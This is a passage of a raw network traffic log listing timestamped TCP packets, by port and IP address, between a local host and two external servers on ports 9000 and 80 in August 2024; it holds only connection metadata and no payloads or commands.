Aug 4, 2024 12:55:05.588752985 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588793039 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588826895 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588846922 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.588860035 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588895082 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588910103 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.588929892 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588964939 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.588982105 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.588998079 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589030981 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589050055 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.589062929 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589097023 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589117050 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.589133024 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589175940 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589184046 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.589313984 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589375973 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.589667082 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589720964 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589755058 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589772940 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.589845896 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589879036 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589901924 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.589915037 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589948893 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.589967966 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590030909 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590064049 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590080976 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590116024 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590150118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590169907 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590183020 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590217113 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590244055 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590256929 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590310097 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590576887 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590610027 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590643883 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590660095 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590675116 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590707064 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590723038 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590740919 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590774059 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590787888 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590807915 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590841055 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590853930 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590888977 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590924978 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590938091 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.590959072 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.590991974 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591012001 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591286898 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591320992 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591342926 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591353893 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591388941 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591403008 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591423988 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591455936 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591478109 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591489077 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591540098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591556072 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591573954 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591607094 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591626883 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591640949 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591672897 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591686964 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591708899 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591758013 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591819048 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591851950 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591890097 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591907978 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.591918945 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591969967 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.591970921 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.592004061 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.592037916 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.592051983 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.592072010 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.592106104 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.592127085 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.592209101 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.592274904 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.635266066 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635319948 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635354042 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635386944 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635421038 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635454893 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635484934 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.635485888 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.635488987 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.635529041 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.670506001 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.670563936 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.670598030 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.670691967 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.670691967 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.670716047 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.670751095 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.670785904 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.670803070 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.672426939 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.672497988 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.673789024 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.673823118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.673886061 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.673932076 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.673964977 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.673999071 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.674014091 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.674032927 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.674067974 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.674078941 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.674099922 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.674154043 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.674170017 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.674206972 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.674257994 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.674289942 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.680052042 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.680120945 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.700766087 CEST	49708	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.705943108 CEST	9000	49708	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:05.706051111 CEST	49708	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.718228102 CEST	49708	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:05.723067999 CEST	9000	49708	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:07.091267109 CEST	9000	49708	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:07.137515068 CEST	49708	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:07.151052952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:07.155869961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:07.155951977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:07.156085014 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:07.160815001 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143277884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143639088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143668890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143685102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143697977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.143699884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143718004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143738985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.143759012 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.143779993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143795967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143810034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143826008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.143850088 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.143879890 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.148595095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.148622036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.148664951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.235428095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.235476971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.235492945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.235544920 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.235588074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.235605001 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.235666037 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.236525059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236574888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.236596107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236613035 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236648083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236649990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.236676931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236717939 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.236843109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236859083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236874104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236890078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236898899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.236906052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.236932993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.237409115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237449884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237453938 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.237464905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237498045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.237849951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237864971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237880945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237901926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.237905025 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.237943888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.245254040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.245414019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.245460033 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.322782040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.322839022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.322854042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.322921991 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.323383093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.323434114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.323436975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.323452950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.323497057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.323585033 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.323600054 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.323616982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.323641062 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.323983908 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.324024916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.324038982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.324054003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.324090958 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.324189901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.324204922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.324220896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.324244976 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.325064898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325112104 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.325115919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325131893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325170040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.325217962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325233936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325273991 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.325737953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325814962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325829983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325859070 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.325958014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325973034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325989008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.325999975 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.326030970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.326742887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.326823950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.326839924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.326865911 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.326953888 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.326968908 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.326983929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.326998949 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.327027082 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.327691078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.327718019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.327732086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.327759981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.327826977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.327871084 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.327894926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.327909946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.327950001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.328701019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.328725100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.328769922 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.328808069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.328823090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.328836918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.328860998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.328938961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.328986883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.329771042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.329843998 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.329890966 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.410840034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.411273956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.411288977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.411313057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.411328077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.411437035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.411437035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.412951946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.412975073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.412998915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413002014 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413012981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413028002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413038015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413043022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413058043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413069963 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413100004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413115978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413130045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413134098 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413145065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413157940 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413161039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413184881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413187027 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413199902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413217068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413229942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413232088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413252115 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413326979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413376093 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413518906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413535118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413551092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413575888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413676023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413690090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413721085 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413851976 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413866997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413882971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.413899899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.413917065 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414005041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414206028 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414221048 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414236069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414248943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414252043 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414277077 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414362907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414380074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414406061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414410114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414453983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414748907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414764881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414779902 CEST	80	49709	39.97.203.40	192.168.2.5
